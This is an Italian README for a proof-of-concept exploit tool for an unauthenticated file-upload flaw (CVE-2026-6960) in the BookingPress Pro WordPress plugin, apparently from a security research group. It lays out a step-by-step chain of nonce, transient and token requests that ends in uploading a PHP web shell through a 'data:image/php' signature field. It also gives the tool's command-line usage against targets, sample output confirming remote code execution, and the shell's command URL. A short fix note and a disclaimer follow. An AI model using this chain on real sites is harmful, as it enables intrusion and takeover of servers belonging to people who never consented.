
Exploit proof-of-concept per CVE-2026-6960: caricamento arbitrario di file non autenticato in BookingPress Pro ≤ 5.6. Automatizza una catena in 3 passaggi per caricare una web shell PHP tramite iniezione di data URI, ottenendo l'esecuzione remota di codice sui siti WordPress vulnerabili.
Ricerca di: Atomic Edge Gravità: Critica | CVSS: 9.8 | Autenticazione richiesta: Nessuna
⚠️ v2 — Correzioni tecniche applicate in base al feedback della community. Vedi Registro delle modifiche per i dettagli.
Nel plugin WordPress BookingPress Pro (versioni ≤ 5.6) esiste una vulnerabilità critica di caricamento arbitrario di file non autenticato. Il gestore di invio delle prenotazioni bookingpress_book_appointment_booking elabora il valore di un campo personalizzato di tipo firma come data URI. Il plugin estrae l'estensione del file dalla porzione del tipo MIME dell'URI tramite regex e la passa direttamente a file_put_contents() — senza alcuna allowlist o blocklist delle estensioni. Ciò consente a un attaccante di scrivere una web shell PHP in una directory accessibile via web e ottenere Esecuzione Remota di Codice (RCE).
⚠️ Tutte le seguenti condizioni devono essere vere affinché il sito sia sfruttabile:
I siti che eseguono versioni ≤ 5.6 senza un campo personalizzato di firma configurato non sono sfruttabili tramite questo vettore.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
Il percorso di codice vulnerabile elabora il valore del campo firma come un data URI:
data:image/{ext};base64,{base64_encoded_content}
BookingPress estrae {ext} dal tipo MIME tramite una corrispondenza regex, quindi scrive il contenuto decodificato su disco usando file_put_contents() con quell'estensione aggiunta al nome del file — nessun controllo tramite allowlist viene eseguito. Fornire image/php come tipo MIME comporta la scrittura di un file .php nella directory di upload.
Questo è fondamentalmente diverso da un upload di file multipart standard — il payload è incorporato in un campo del corpo JSON, non in una parte di upload di file.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) prima di estrarre l'estensionewp_check_filetype_and_ext() per tutta la validazione dei tipi di file→ Aggiorna subito a BookingPress Pro 5.7.
Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. Non utilizzare questo strumento contro alcun sistema senza esplicita autorizzazione scritta del proprietario del sistema. L'uso non autorizzato può violare il CFAA (USA), il Codice Penale canadese (art. 342.1), la Direttiva NIS2 dell'UE e altre leggi applicabili. Gli autori non si assumono alcuna responsabilità per usi impropri o danni derivanti da questo codice.
| Property | Detail |
|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Versioni interessate | ≤ 5.6 |
| Risolta in | 5.7 |
| Vettore | Rete / Non autenticato |
| Azione AJAX | bookingpress_book_appointment_booking |
| Causa principale | Estensione estratta dal tipo MIME controllato dall'attaccante nel data URI → file_put_contents() senza allowlist |
| CWE | CWE-434: Caricamento senza restrizioni di file con tipo pericoloso |
| Flag | Descrizione | Default |
|---|
-u, --url | URL WordPress di destinazione | (obbligatorio) |
-bp, --booking-page | Percorso della pagina contenente il modulo BookingPress | / |
-s, --service-id | ID del servizio BookingPress | 1 |
-f, --filename | Nome del file della shell (estensione iniettata nel MIME del data URI) | shell.php |
--no-verify | Disabilita la verifica del certificato SSL | false |
| # | Problema | v1 (errato) | v2 (corretto) |
|---|
| 1 | Azione AJAX | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Metodo del payload | Upload di file multipart con image/png | Data URI: data:image/{ext};base64,... |
| 3 | Flusso di sfruttamento | POST diretto non autenticato | Catena di prerequisiti in 3 passaggi (nonce → transient → token) |
| 4 | Precondizione | Non documentata | Il campo personalizzato di firma deve essere configurato |